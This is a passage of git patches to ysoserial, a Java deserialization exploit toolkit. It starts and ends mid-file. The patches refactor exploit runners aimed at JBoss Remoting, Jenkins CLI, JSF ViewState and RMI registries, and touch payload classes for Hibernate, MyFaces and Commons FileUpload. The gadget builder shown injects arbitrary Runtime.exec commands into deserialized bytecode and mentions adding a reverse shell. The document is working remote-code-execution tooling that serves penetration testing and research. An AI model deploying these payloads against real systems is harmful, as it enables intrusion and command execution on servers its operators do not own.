ConsoleLogHandler extends Handler { + + + @Override + public void publish ( LogRecord record ) { + System.err.println(record.getMessage()); + } + + + @Override + public void flush () { + + } + + + @Override + public void close () throws SecurityException {} + } + + /** + * @author mbechler + * + */ + private static final class ConnectionHandlerContextImpl implements ConnectionHandlerContext { + + private ConnectionProviderContextImpl context; + + + /** + * @param context + */ + public ConnectionHandlerContextImpl ( ConnectionProviderContextImpl context ) { + this.context = context; + } + + + public void remoteClosed () {} + + + public OpenListener getServiceOpenListener ( String serviceType ) { + return null; + } + + + public RegisteredService getRegisteredService ( String serviceType ) { + return null; + } + + + public ConnectionProviderContext getConnectionProviderContext () { + return this.context; + } + + + public Connection getConnection () { + return null; + } + } + + /** + * @author mbechler + * + */ + private static final class ConnectionProviderContextImpl implements ConnectionProviderContext { + + private XnioWorker worker; + private ExecutorService executor; + private Xnio instance; + private Endpoint endpoint; + + + /** + * @param endpointName + * @throws IOException + * @throws IllegalArgumentException + * + */ + public ConnectionProviderContextImpl ( OptionMap opts, String endpointName ) throws IllegalArgumentException, IOException { + this.instance = Xnio.getInstance(); + + this.worker = this.instance.createWorker(opts); + this.endpoint = Remoting.createEndpoint(endpointName, this.worker, opts); + this.executor = Executors.newCachedThreadPool(new ThreadFactory() { + + public Thread newThread ( Runnable r ) { + Thread t = new Thread(r, "Worker"); + t.setDaemon(true); + return t; + } + }); + } + + + public XnioWorker getXnioWorker () { + return this.worker; + } + + + public Xnio getXnio () { + return this.instance; + } + + + public Executor getExecutor () { + return this.executor; + } + + + public Endpoint getEndpoint () { + return this.endpoint; + } + + + public void accept ( ConnectionHandlerFactory connectionHandlerFactory ) { + System.err.println("accept"); + } + + } + +} From 5fc361df4f73be56a759c4aec554a6d72b480a98 Mon Sep 17 00:00:00 2001 From: mbechler Date: Sun, 6 Mar 2016 12:47:44 +0100 Subject: [PATCH 17/25] A final touch --- src/main/java/ysoserial/exploit/JSF.java | 4 ++-- .../java/ysoserial/payloads/Hibernate1.java | 2 +- .../java/ysoserial/payloads/Myfaces1.java | 19 +------------------ .../secmgr/ThreadLocalSecurityManager.java | 2 -- 4 files changed, 4 insertions(+), 23 deletions(-) diff --git a/src/main/java/ysoserial/exploit/JSF.java b/src/main/java/ysoserial/exploit/JSF.java index 7706d58..6a13b66 100644 --- a/src/main/java/ysoserial/exploit/JSF.java +++ b/src/main/java/ysoserial/exploit/JSF.java @@ -37,7 +37,7 @@ public class JSF { URLConnection c = u.openConnection(); if ( ! ( c instanceof HttpURLConnection ) ) { - throw new IllegalArgumentException("Not a HTTP url"); //$NON-NLS-1$ + throw new IllegalArgumentException("Not a HTTP url"); } HttpURLConnection hc = (HttpURLConnection) c; @@ -51,7 +51,7 @@ public class JSF { oos.writeObject(payloadObject); oos.close(); byte[] data = bos.toByteArray(); - String requestBody = "j_id_7_SUBMIT=1&javax.faces.ViewState=" + URLEncoder.encode(Base64.encodeBase64String(data), "US-ASCII"); + String requestBody = "javax.faces.ViewState=" + URLEncoder.encode(Base64.encodeBase64String(data), "US-ASCII"); os.write(requestBody.getBytes("US-ASCII")); os.close(); diff --git a/src/main/java/ysoserial/payloads/Hibernate1.java b/src/main/java/ysoserial/payloads/Hibernate1.java index 1159268..168dcbb 100644 --- a/src/main/java/ysoserial/payloads/Hibernate1.java +++ b/src/main/java/ysoserial/payloads/Hibernate1.java @@ -100,7 +100,7 @@ public class Hibernate1 implements ObjectPayload, DynamicDependencies { * @see ysoserial.payloads.ObjectPayload#getObject(java.lang.String) */ public Object getObject ( String command ) throws Exception { - Object tpl = Gadgets.createTemplatesImpl(command); // $NON-NLS-1$ + Object tpl = Gadgets.createTemplatesImpl(command); Object getters = makeGetter(tpl.getClass(), "getOutputProperties"); return makeCaller(tpl, getters); } diff --git a/src/main/java/ysoserial/payloads/Myfaces1.java b/src/main/java/ysoserial/payloads/Myfaces1.java index cc73fde..de1872c 100644 --- a/src/main/java/ysoserial/payloads/Myfaces1.java +++ b/src/main/java/ysoserial/payloads/Myfaces1.java @@ -1,7 +1,6 @@ package ysoserial.payloads; -import java.lang.reflect.InvocationTargetException; import javax.el.ELContext; import javax.el.ExpressionFactory; @@ -40,9 +39,6 @@ import ysoserial.payloads.util.Reflections; * * @author mbechler */ -@SuppressWarnings ( { - "nls", "javadoc" -} ) @PayloadTest(skip="Requires running MyFaces, no direct execution") public class Myfaces1 implements ObjectPayload, DynamicDependencies { @@ -81,19 +77,6 @@ public class Myfaces1 implements ObjectPayload, DynamicDependencies { throw new IllegalArgumentException("Invalid el type " + System.getProperty("el")); } - - /** - * @param expr - * @return - * @throws IllegalArgumentException - * @throws NoSuchFieldException - * @throws IllegalAccessException - * @throws Exception - * @throws ClassNotFoundException - * @throws NoSuchMethodException - * @throws InstantiationException - * @throws InvocationTargetException - */ public static Object makeExpressionPayload ( String expr ) throws IllegalArgumentException, IllegalAccessException, Exception { FacesContextImpl fc = new FacesContextImpl((ServletContext) null, (ServletRequest) null, (ServletResponse) null); ELContext elContext = new FacesELContext(new CompositeELResolver(), fc); @@ -102,7 +85,7 @@ public class Myfaces1 implements ObjectPayload, DynamicDependencies { ValueExpression ve1 = expressionFactory.createValueExpression(elContext, expr, Object.class); ValueExpressionMethodExpression e = new ValueExpressionMethodExpression(ve1); - ValueExpression ve2 = expressionFactory.createValueExpression(elContext, "${true}", Object.class); //$NON-NLS-1$ + ValueExpression ve2 = expressionFactory.createValueExpression(elContext, "${true}", Object.class); ValueExpressionMethodExpression e2 = new ValueExpressionMethodExpression(ve2); return Gadgets.makeMap(e2, e); diff --git a/src/main/java/ysoserial/secmgr/ThreadLocalSecurityManager.java b/src/main/java/ysoserial/secmgr/ThreadLocalSecurityManager.java index b52d3ec..230ccab 100755 --- a/src/main/java/ysoserial/secmgr/ThreadLocalSecurityManager.java +++ b/src/main/java/ysoserial/secmgr/ThreadLocalSecurityManager.java @@ -3,8 +3,6 @@ package ysoserial.secmgr; import java.util.concurrent.Callable; public class ThreadLocalSecurityManager extends DelegateSecurityManager { - private static final ThreadLocalSecurityManager INSTANCE - = new ThreadLocalSecurityManager(); private final ThreadLocal threadDelegates = new ThreadLocal(); From 4795bce7ff4d32778d6e1c672382ca602ff5d0fc Mon Sep 17 00:00:00 2001 From: mbechler Date: Sun, 6 Mar 2016 15:50:59 +0100 Subject: [PATCH 18/25] Add hook for payload generators to modify the object before finalizers are called (to fix the fileupload test and also to prevent exploiting yourself, also may be useful for finalizer based gadgets) --- src/main/java/ysoserial/GeneratePayload.java | 1 + src/main/java/ysoserial/exploit/JBoss.java | 24 +-- .../java/ysoserial/exploit/JRMPClient.java | 2 +- .../java/ysoserial/exploit/JRMPListener.java | 1 + src/main/java/ysoserial/exploit/JSF.java | 1 + .../java/ysoserial/exploit/JenkinsCLI.java | 24 +-- .../ysoserial/exploit/JenkinsListener.java | 1 + .../ysoserial/exploit/JenkinsReverse.java | 24 +-- .../ysoserial/exploit/RMIRegistryExploit.java | 6 +- .../java/ysoserial/payloads/FileUpload1.java | 18 +- .../ysoserial/payloads/ObjectPayload.java | 161 +++++++++++------- .../payloads/ReleaseableObjectPayload.java | 17 ++ .../payloads/util/PayloadRunner.java | 9 +- .../ysoserial/payloads/FileUploadTest.java | 7 +- .../java/ysoserial/payloads/PayloadsTest.java | 4 +- 15 files changed, 163 insertions(+), 137 deletions(-) create mode 100644 src/main/java/ysoserial/payloads/ReleaseableObjectPayload.java diff --git a/src/main/java/ysoserial/GeneratePayload.java b/src/main/java/ysoserial/GeneratePayload.java index 7eb1d64..092d7ea 100644 --- a/src/main/java/ysoserial/GeneratePayload.java +++ b/src/main/java/ysoserial/GeneratePayload.java @@ -38,6 +38,7 @@ public class GeneratePayload { final Object object = payload.getObject(command); PrintStream out = System.out; Serializer.serialize(object, out); + ObjectPayload.Utils.releasePayload(payload, object); } catch (Throwable e) { System.err.println("Error while generating or serializing payload"); e.printStackTrace(); diff --git a/src/main/java/ysoserial/exploit/JBoss.java b/src/main/java/ysoserial/exploit/JBoss.java index 58ddd7e..bd45d6a 100644 --- a/src/main/java/ysoserial/exploit/JBoss.java +++ b/src/main/java/ysoserial/exploit/JBoss.java @@ -63,7 +63,6 @@ import org.xnio.XnioWorker; import org.xnio.ssl.JsseXnioSsl; import org.xnio.ssl.XnioSsl; -import ysoserial.payloads.ObjectPayload; import ysoserial.payloads.ObjectPayload.Utils; @@ -97,25 +96,8 @@ public class JBoss { URI u = URI.create(args[ 0 ]); - final Class payloadClass = Utils.getPayloadClass(args[ 1 ]); - if ( payloadClass == null || !ObjectPayload.class.isAssignableFrom(payloadClass) ) { - System.err.println("Invalid payload type '" + args[ 1 ] + "'"); - System.exit(-1); - return; - } - - final Object payloadObject; - try { - final ObjectPayload payload = payloadClass.newInstance(); - payloadObject = payload.getObject(args[ 2 ]); - } - catch ( Exception e ) { - System.err.println("Failed to construct payload"); - e.printStackTrace(System.err); - System.exit(-1); - return; - } - + final Object payloadObject = Utils.makePayloadObject(args[1], args[2]); + String username = null; String password = null; if ( u.getUserInfo() != null ) { @@ -131,7 +113,7 @@ public class JBoss { } doRun(u, payloadObject, username, password); - + Utils.releasePayload(args[1], payloadObject); } diff --git a/src/main/java/ysoserial/exploit/JRMPClient.java b/src/main/java/ysoserial/exploit/JRMPClient.java index 7abfc7e..8acb038 100644 --- a/src/main/java/ysoserial/exploit/JRMPClient.java +++ b/src/main/java/ysoserial/exploit/JRMPClient.java @@ -43,7 +43,7 @@ public class JRMPClient { catch ( Exception e ) { e.printStackTrace(System.err); } - + Utils.releasePayload(args[2], payloadObject); } /** diff --git a/src/main/java/ysoserial/exploit/JRMPListener.java b/src/main/java/ysoserial/exploit/JRMPListener.java index 0edb017..c93f3d5 100644 --- a/src/main/java/ysoserial/exploit/JRMPListener.java +++ b/src/main/java/ysoserial/exploit/JRMPListener.java @@ -109,6 +109,7 @@ public class JRMPListener implements Runnable { System.err.println("Listener error"); e.printStackTrace(System.err); } + Utils.releasePayload(args[1], payloadObject); } diff --git a/src/main/java/ysoserial/exploit/JSF.java b/src/main/java/ysoserial/exploit/JSF.java index 6a13b66..ad4164e 100644 --- a/src/main/java/ysoserial/exploit/JSF.java +++ b/src/main/java/ysoserial/exploit/JSF.java @@ -60,6 +60,7 @@ public class JSF { catch ( Exception e ) { e.printStackTrace(System.err); } + Utils.releasePayload(args[1], payloadObject); } diff --git a/src/main/java/ysoserial/exploit/JenkinsCLI.java b/src/main/java/ysoserial/exploit/JenkinsCLI.java index 7bb958b..cbbca3c 100644 --- a/src/main/java/ysoserial/exploit/JenkinsCLI.java +++ b/src/main/java/ysoserial/exploit/JenkinsCLI.java @@ -23,16 +23,12 @@ import hudson.remoting.Callable; import hudson.remoting.Channel; import hudson.remoting.Channel.Mode; import hudson.remoting.ChannelBuilder; -import ysoserial.payloads.ObjectPayload; import ysoserial.payloads.ObjectPayload.Utils; /** * @author mbechler * */ -@SuppressWarnings ( { - "rawtypes" -} ) public class JenkinsCLI { public static final void main ( final String[] args ) { if ( args.length < 3 ) { @@ -40,24 +36,7 @@ public class JenkinsCLI { System.exit(-1); } - final Class payloadClass = Utils.getPayloadClass(args[ 1 ]); - if ( payloadClass == null || !ObjectPayload.class.isAssignableFrom(payloadClass) ) { - System.err.println("Invalid payload type '" + args[ 1 ] + "'"); - System.exit(-1); - return; - } - - final Object payloadObject; - try { - final ObjectPayload payload = payloadClass.newInstance(); - payloadObject = payload.getObject(args[ 2 ]); - } - catch ( Exception e ) { - System.err.println("Failed to construct payload"); - e.printStackTrace(System.err); - System.exit(-1); - return; - } + final Object payloadObject = Utils.makePayloadObject(args[1], args[2]); String jenkinsUrl = args[ 0 ]; Channel c = null; @@ -79,6 +58,7 @@ public class JenkinsCLI { } } } + Utils.releasePayload(args[1], payloadObject); } public static Callable getPropertyCallable ( final Object prop ) diff --git a/src/main/java/ysoserial/exploit/JenkinsListener.java b/src/main/java/ysoserial/exploit/JenkinsListener.java index cdb42ec..283b9bb 100644 --- a/src/main/java/ysoserial/exploit/JenkinsListener.java +++ b/src/main/java/ysoserial/exploit/JenkinsListener.java @@ -213,6 +213,7 @@ public class JenkinsListener { final Object object = payload.getObject(payloadArg); objOut.writeObject(object); os.flush(); + ObjectPayload.Utils.releasePayload(payload, object); } catch ( Exception e ) { e.printStackTrace(System.err); diff --git a/src/main/java/ysoserial/exploit/JenkinsReverse.java b/src/main/java/ysoserial/exploit/JenkinsReverse.java index 4dc0e31..057c216 100644 --- a/src/main/java/ysoserial/exploit/JenkinsReverse.java +++ b/src/main/java/ysoserial/exploit/JenkinsReverse.java @@ -9,7 +9,6 @@ import java.util.Random; import hudson.remoting.Channel; import ysoserial.exploit.JRMPListener; import ysoserial.payloads.JRMPClient; -import ysoserial.payloads.ObjectPayload; import ysoserial.payloads.ObjectPayload.Utils; @@ -19,9 +18,6 @@ import ysoserial.payloads.ObjectPayload.Utils; * @author mbechler * */ -@SuppressWarnings ( { - "rawtypes" -} ) public class JenkinsReverse { public static final void main ( final String[] args ) { @@ -30,25 +26,8 @@ public class JenkinsReverse { System.exit(-1); } - final Class payloadClass = Utils.getPayloadClass(args[ 2 ]); - if ( payloadClass == null || !ObjectPayload.class.isAssignableFrom(payloadClass) ) { - System.err.println("Invalid payload type '" + args[ 2 ] + "'"); - System.exit(-1); - return; - } - - final Object payloadObject; - try { - final ObjectPayload payload = payloadClass.newInstance(); - payloadObject = payload.getObject(args[ 3 ]); - } - catch ( Exception e ) { - System.err.println("Failed to construct payload"); - e.printStackTrace(System.err); - System.exit(-1); - return; - } + final Object payloadObject = Utils.makePayloadObject(args[2], args[3]); String myAddr = args[ 1 ]; int jrmpPort = new Random().nextInt(65536 - 1024) + 1024; String jenkinsUrl = args[ 0 ]; @@ -90,5 +69,6 @@ public class JenkinsReverse { } } } + Utils.releasePayload(args[2], payloadObject); } } diff --git a/src/main/java/ysoserial/exploit/RMIRegistryExploit.java b/src/main/java/ysoserial/exploit/RMIRegistryExploit.java index c82f4b5..e4eff65 100644 --- a/src/main/java/ysoserial/exploit/RMIRegistryExploit.java +++ b/src/main/java/ysoserial/exploit/RMIRegistryExploit.java @@ -7,6 +7,7 @@ import java.util.concurrent.Callable; import ysoserial.payloads.CommonsCollections1; import ysoserial.payloads.ObjectPayload; +import ysoserial.payloads.ObjectPayload.Utils; import ysoserial.payloads.util.Gadgets; import ysoserial.secmgr.ExecCheckingSecurityManager; @@ -35,7 +36,8 @@ public class RMIRegistryExploit { final Class payloadClass, final String command) throws Exception { new ExecCheckingSecurityManager().wrap(new Callable(){public Void call() throws Exception { - Object payload = payloadClass.newInstance().getObject(command); + ObjectPayload payloadObj = payloadClass.newInstance(); + Object payload = payloadObj.getObject(command); String name = "pwned" + System.nanoTime(); Remote remote = Gadgets.createMemoitizedProxy(Gadgets.createMap(name, payload), Remote.class); try { @@ -43,7 +45,7 @@ public class RMIRegistryExploit { } catch (Throwable e) { e.printStackTrace(); } - + Utils.releasePayload(payloadObj, payload); return null; }}); } diff --git a/src/main/java/ysoserial/payloads/FileUpload1.java b/src/main/java/ysoserial/payloads/FileUpload1.java index 38f926d..2171219 100644 --- a/src/main/java/ysoserial/payloads/FileUpload1.java +++ b/src/main/java/ysoserial/payloads/FileUpload1.java @@ -4,7 +4,6 @@ package ysoserial.payloads; import java.io.File; import java.io.IOException; import java.io.OutputStream; -import java.lang.reflect.Field; import java.util.Arrays; import org.apache.commons.codec.binary.Base64; @@ -41,7 +40,7 @@ import ysoserial.payloads.util.Reflections; "commons-io:commons-io:2.4" } ) @PayloadTest(harness="ysoserial.payloads.FileUploadTest") -public class FileUpload1 implements ObjectPayload { +public class FileUpload1 implements ReleaseableObjectPayload { /** * {@inheritDoc} @@ -72,6 +71,17 @@ public class FileUpload1 implements ObjectPayload { } } + /** + * {@inheritDoc} + * @throws Exception + * + * @see ysoserial.payloads.ReleaseableObjectPayload#release(java.lang.Object) + */ + public void release ( DiskFileItem obj ) throws Exception { + // otherwise the finalizer deletes the file + DeferredFileOutputStream dfos = new DeferredFileOutputStream(0, null); + Reflections.setFieldValue(obj, "dfos", dfos); + } private static DiskFileItem copyAndDelete ( String copyAndDelete, String copyTo ) throws IOException, Exception { return makePayload(0, copyTo, copyAndDelete, new byte[1]); @@ -108,9 +118,7 @@ public class FileUpload1 implements ObjectPayload { DeferredFileOutputStream dfos = new DeferredFileOutputStream(thresh, outputFile); OutputStream os = (OutputStream) Reflections.getFieldValue(dfos, "memoryOutputStream"); os.write(data); - Field writtenF = ThresholdingOutputStream.class.getDeclaredField("written"); - writtenF.setAccessible(true); - writtenF.set(dfos, data.length); + Reflections.getField(ThresholdingOutputStream.class, "written").set(dfos, data.length); Reflections.setFieldValue(diskFileItem, "dfos", dfos); Reflections.setFieldValue(diskFileItem, "sizeThreshold", 0); return diskFileItem; diff --git a/src/main/java/ysoserial/payloads/ObjectPayload.java b/src/main/java/ysoserial/payloads/ObjectPayload.java index c14f79a..4772d73 100644 --- a/src/main/java/ysoserial/payloads/ObjectPayload.java +++ b/src/main/java/ysoserial/payloads/ObjectPayload.java @@ -1,70 +1,117 @@ package ysoserial.payloads; + +import java.lang.reflect.Modifier; +import java.util.Iterator; import java.util.Set; import org.reflections.Reflections; import ysoserial.GeneratePayload; -@SuppressWarnings("rawtypes") -public interface ObjectPayload { - /* - * return armed payload object to be serialized that will execute specified - * command on deserialization - */ - public T getObject(String command) throws Exception; - public static class Utils { - // get payload classes by classpath scanning - public static Set> getPayloadClasses() { - final Reflections reflections = new Reflections(ObjectPayload.class.getPackage().getName()); - final Set> payloadTypes = reflections.getSubTypesOf(ObjectPayload.class); - return payloadTypes; - } +@SuppressWarnings ( "rawtypes" ) +public interface ObjectPayload { - @SuppressWarnings("unchecked") - public - static Class getPayloadClass(final String className) { - Class clazz = null; - try { - clazz = (Class) Class.forName(className); - } catch (Exception e1) { - } - if (clazz == null) { - try { - return clazz = (Class) Class.forName(GeneratePayload.class.getPackage().getName() - + ".payloads." + className); - } catch (Exception e2) { - } - } - if (clazz != null && ! ObjectPayload.class.isAssignableFrom(clazz)) { - clazz = null; - } - return clazz; - } - + /* + * return armed payload object to be serialized that will execute specified + * command on deserialization + */ + public T getObject ( String command ) throws Exception; - /** - * @param payloadType - * @param payloadArg - * @return an payload object - */ - public static Object makePayloadObject ( String payloadType, String payloadArg ) { - final Class payloadClass = getPayloadClass(payloadType); - if ( payloadClass == null || !ObjectPayload.class.isAssignableFrom(payloadClass) ) { - throw new IllegalArgumentException("Invalid payload type '" + payloadType + "'"); - - } + public static class Utils { - final Object payloadObject; - try { - final ObjectPayload payload = payloadClass.newInstance(); - payloadObject = payload.getObject(payloadArg); - } - catch ( Exception e ) { - throw new IllegalArgumentException("Failed to construct payload",e); - } - return payloadObject; - } - } + // get payload classes by classpath scanning + public static Set> getPayloadClasses () { + final Reflections reflections = new Reflections(ObjectPayload.class.getPackage().getName()); + final Set> payloadTypes = reflections.getSubTypesOf(ObjectPayload.class); + for ( Iterator> iterator = payloadTypes.iterator(); iterator.hasNext(); ) { + Class pc = iterator.next(); + if ( pc.isInterface() || Modifier.isAbstract(pc.getModifiers()) ) { + iterator.remove(); + } + } + return payloadTypes; + } + + + @SuppressWarnings ( "unchecked" ) + public static Class getPayloadClass ( final String className ) { + Class clazz = null; + try { + clazz = (Class) Class.forName(className); + } + catch ( Exception e1 ) {} + if ( clazz == null ) { + try { + return clazz = (Class) Class + .forName(GeneratePayload.class.getPackage().getName() + ".payloads." + className); + } + catch ( Exception e2 ) {} + } + if ( clazz != null && !ObjectPayload.class.isAssignableFrom(clazz) ) { + clazz = null; + } + return clazz; + } + + + /** + * @param payloadType + * @param payloadArg + * @return an payload object + */ + public static Object makePayloadObject ( String payloadType, String payloadArg ) { + final Class payloadClass = getPayloadClass(payloadType); + if ( payloadClass == null || !ObjectPayload.class.isAssignableFrom(payloadClass) ) { + throw new IllegalArgumentException("Invalid payload type '" + payloadType + "'"); + + } + + final Object payloadObject; + try { + final ObjectPayload payload = payloadClass.newInstance(); + payloadObject = payload.getObject(payloadArg); + } + catch ( Exception e ) { + throw new IllegalArgumentException("Failed to construct payload", e); + } + return payloadObject; + } + + + /** + * @param payload + * @param object + * @throws Exception + */ + @SuppressWarnings ( "unchecked" ) + public static void releasePayload ( ObjectPayload payload, Object object ) throws Exception { + if ( payload instanceof ReleaseableObjectPayload ) { + ( (ReleaseableObjectPayload) payload ).release(object); + } + } + + + /** + * @param payloadType + * @param payloadObject + */ + public static void releasePayload ( String payloadType, Object payloadObject ) { + final Class payloadClass = getPayloadClass(payloadType); + if ( payloadClass == null || !ObjectPayload.class.isAssignableFrom(payloadClass) ) { + throw new IllegalArgumentException("Invalid payload type '" + payloadType + "'"); + + } + + try { + final ObjectPayload payload = payloadClass.newInstance(); + releasePayload(payload, payloadObject); + } + catch ( Exception e ) { + e.printStackTrace(); + } + + } + } } diff --git a/src/main/java/ysoserial/payloads/ReleaseableObjectPayload.java b/src/main/java/ysoserial/payloads/ReleaseableObjectPayload.java new file mode 100644 index 0000000..c359772 --- /dev/null +++ b/src/main/java/ysoserial/payloads/ReleaseableObjectPayload.java @@ -0,0 +1,17 @@ +/** + * © 2016 AgNO3 Gmbh & Co. KG + * All right reserved. + * + * Created: 06.03.2016 by mbechler + */ +package ysoserial.payloads; + + +/** + * @author mbechler + * + */ +public interface ReleaseableObjectPayload extends ObjectPayload { + + void release( T obj ) throws Exception; +} diff --git a/src/main/java/ysoserial/payloads/util/PayloadRunner.java b/src/main/java/ysoserial/payloads/util/PayloadRunner.java index 9e074b6..d9d67e1 100644 --- a/src/main/java/ysoserial/payloads/util/PayloadRunner.java +++ b/src/main/java/ysoserial/payloads/util/PayloadRunner.java @@ -7,6 +7,7 @@ import ysoserial.Serializer; import static ysoserial.Deserializer.deserialize; import static ysoserial.Serializer.serialize; import ysoserial.payloads.ObjectPayload; +import ysoserial.payloads.ObjectPayload.Utils; import ysoserial.secmgr.ExecCheckingSecurityManager; /* @@ -22,11 +23,13 @@ public class PayloadRunner { System.out.println("generating payload object(s) for command: '" + command + "'"); - final Object objBefore = clazz.newInstance().getObject(command); + ObjectPayload payload = clazz.newInstance(); + final Object objBefore = payload.getObject(command); System.out.println("serializing payload"); - - return Serializer.serialize(objBefore); + byte[] ser = Serializer.serialize(objBefore); + Utils.releasePayload(payload, objBefore); + return ser; }}); try { diff --git a/src/test/java/ysoserial/payloads/FileUploadTest.java b/src/test/java/ysoserial/payloads/FileUploadTest.java index dd1e84b..69f37dc 100644 --- a/src/test/java/ysoserial/payloads/FileUploadTest.java +++ b/src/test/java/ysoserial/payloads/FileUploadTest.java @@ -30,7 +30,7 @@ public class FileUploadTest implements CustomTest { */ public FileUploadTest () { try { - source = File.createTempFile("fileupload-test", ".source"); + source = File.createTempFile("fut", "-source"); repo = Files.createTempDir(); } catch ( IOException e ) { @@ -43,9 +43,10 @@ public class FileUploadTest implements CustomTest { * * @see ysoserial.CustomTest#run(java.util.concurrent.Callable) */ - public void run ( Callable payload ) throws Exception { + public synchronized void run ( Callable payload ) throws Exception { try { Files.write(FDATA, this.source); + Assert.assertTrue(this.source.exists()); payload.call(); File found = null; @@ -62,8 +63,8 @@ public class FileUploadTest implements CustomTest { f.delete(); } this.repo.delete(); - this.source.delete(); } + this.source.delete(); } } diff --git a/src/test/java/ysoserial/payloads/PayloadsTest.java b/src/test/java/ysoserial/payloads/PayloadsTest.java index 036a392..269b58b 100644 --- a/src/test/java/ysoserial/payloads/PayloadsTest.java +++ b/src/test/java/ysoserial/payloads/PayloadsTest.java @@ -154,7 +154,9 @@ public class PayloadsTest { public byte[] call () throws Exception { ObjectPayload payload = payloadClass.newInstance(); final Object f = payload.getObject(command); - return Serializer.serialize(f); + byte[] serialized = Serializer.serialize(f); + ObjectPayload.Utils.releasePayload(payload, f); + return serialized; } }; } From b814712e19906bd6e4fea8d613b15eaad1025331 Mon Sep 17 00:00:00 2001 From: mbechler Date: Sun, 6 Mar 2016 18:53:39 +0100 Subject: [PATCH 19/25] Fix HashMap creation for java7. --- .../java/ysoserial/payloads/util/Gadgets.java | 139 ++++++++++-------- 1 file changed, 79 insertions(+), 60 deletions(-) diff --git a/src/main/java/ysoserial/payloads/util/Gadgets.java b/src/main/java/ysoserial/payloads/util/Gadgets.java index 3994cb5..c21ba45 100644 --- a/src/main/java/ysoserial/payloads/util/Gadgets.java +++ b/src/main/java/ysoserial/payloads/util/Gadgets.java @@ -1,5 +1,6 @@ package ysoserial.payloads.util; + import static com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.DESERIALIZE_TRANSLET; import java.io.Serializable; @@ -23,57 +24,68 @@ import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; import com.sun.org.apache.xml.internal.serializer.SerializationHandler; + /* * utility generator functions for common jdk-only gadgets */ -@SuppressWarnings({"restriction", "rawtypes", "unchecked"}) +@SuppressWarnings ( { + "restriction", "rawtypes", "unchecked" +} ) public class Gadgets { - static { - // special case for using TemplatesImpl gadgets with a SecurityManager enabled - System.setProperty(DESERIALIZE_TRANSLET, "true"); - } + static { + // special case for using TemplatesImpl gadgets with a SecurityManager enabled + System.setProperty(DESERIALIZE_TRANSLET, "true"); - public static final String ANN_INV_HANDLER_CLASS = "sun.reflect.annotation.AnnotationInvocationHandler"; + } - public static class StubTransletPayload extends AbstractTranslet implements Serializable { - private static final long serialVersionUID = -5971610431559700674L; + public static final String ANN_INV_HANDLER_CLASS = "sun.reflect.annotation.AnnotationInvocationHandler"; - public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {} + public static class StubTransletPayload extends AbstractTranslet implements Serializable { - @Override - public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {} - } + private static final long serialVersionUID = -5971610431559700674L; - // required to make TemplatesImpl happy - public static class Foo implements Serializable { - private static final long serialVersionUID = 8207363842866235160L; - } - public static T createMemoitizedProxy(final Map map, final Class iface, - final Class ... ifaces) throws Exception { - return createProxy(createMemoizedInvocationHandler(map), iface, ifaces); - } + public void transform ( DOM document, SerializationHandler[] handlers ) throws TransletException {} - public static InvocationHandler createMemoizedInvocationHandler(final Map map) throws Exception { - return (InvocationHandler) Reflections.getFirstCtor(ANN_INV_HANDLER_CLASS).newInstance(Override.class, map); - } - public static T createProxy(final InvocationHandler ih, final Class iface, final Class ... ifaces) { - final Class[] allIfaces = (Class[]) Array.newInstance(Class.class, ifaces.length + 1); - allIfaces[0] = iface; - if (ifaces.length > 0) { - System.arraycopy(ifaces, 0, allIfaces, 1, ifaces.length); - } - return iface.cast(Proxy.newProxyInstance(Gadgets.class.getClassLoader(), allIfaces , ih)); - } + @Override + public void transform ( DOM document, DTMAxisIterator iterator, SerializationHandler handler ) throws TransletException {} + } + + // required to make TemplatesImpl happy + public static class Foo implements Serializable { + + private static final long serialVersionUID = 8207363842866235160L; + } + + + public static T createMemoitizedProxy ( final Map map, final Class iface, final Class... ifaces ) throws Exception { + return createProxy(createMemoizedInvocationHandler(map), iface, ifaces); + } + + + public static InvocationHandler createMemoizedInvocationHandler ( final Map map ) throws Exception { + return (InvocationHandler) Reflections.getFirstCtor(ANN_INV_HANDLER_CLASS).newInstance(Override.class, map); + } + + + public static T createProxy ( final InvocationHandler ih, final Class iface, final Class... ifaces ) { + final Class[] allIfaces = (Class[]) Array.newInstance(Class.class, ifaces.length + 1); + allIfaces[ 0 ] = iface; + if ( ifaces.length > 0 ) { + System.arraycopy(ifaces, 0, allIfaces, 1, ifaces.length); + } + return iface.cast(Proxy.newProxyInstance(Gadgets.class.getClassLoader(), allIfaces, ih)); + } + + + public static Map createMap ( final String key, final Object val ) { + final Map map = new HashMap(); + map.put(key, val); + return map; + } - public static Map createMap(final String key, final Object val) { - final Map map = new HashMap(); - map.put(key,val); - return map; - } - public static Object createTemplatesImpl ( final String command ) throws Exception { if ( Boolean.parseBoolean(System.getProperty("properXalan", "false")) ) { @@ -87,42 +99,49 @@ public class Gadgets { return createTemplatesImpl(command, TemplatesImpl.class, AbstractTranslet.class, TransformerFactoryImpl.class); } - public static T createTemplatesImpl(final String command, Class tplClass, Class abstTranslet, Class transFactory ) throws Exception { - final T templates = tplClass.newInstance(); - // use template gadget class - ClassPool pool = ClassPool.getDefault(); + public static T createTemplatesImpl ( final String command, Class tplClass, Class abstTranslet, Class transFactory ) + throws Exception { + final T templates = tplClass.newInstance(); + + // use template gadget class + ClassPool pool = ClassPool.getDefault(); pool.insertClassPath(new ClassClassPath(StubTransletPayload.class)); pool.insertClassPath(new ClassClassPath(abstTranslet)); final CtClass clazz = pool.get(StubTransletPayload.class.getName()); - // run command in static initializer - // TODO: could also do fun things like injecting a pure-java rev/bind-shell to bypass naive protections - clazz.makeClassInitializer().insertAfter("java.lang.Runtime.getRuntime().exec(\"" + command.replaceAll("\"", "\\\"") +"\");"); - // sortarandom name to allow repeated exploitation (watch out for PermGen exhaustion) - clazz.setName("ysoserial.Pwner" + System.nanoTime()); - CtClass superC = pool.get(abstTranslet.getName()); + // run command in static initializer + // TODO: could also do fun things like injecting a pure-java rev/bind-shell to bypass naive protections + clazz.makeClassInitializer().insertAfter("java.lang.Runtime.getRuntime().exec(\"" + command.replaceAll("\"", "\\\"") + "\");"); + // sortarandom name to allow repeated exploitation (watch out for PermGen exhaustion) + clazz.setName("ysoserial.Pwner" + System.nanoTime()); + CtClass superC = pool.get(abstTranslet.getName()); clazz.setSuperclass(superC); - final byte[] classBytes = clazz.toBytecode(); + final byte[] classBytes = clazz.toBytecode(); - // inject class bytes into instance - Reflections.setFieldValue(templates, "_bytecodes", new byte[][] { - classBytes, - ClassFiles.classAsBytes(Foo.class)}); + // inject class bytes into instance + 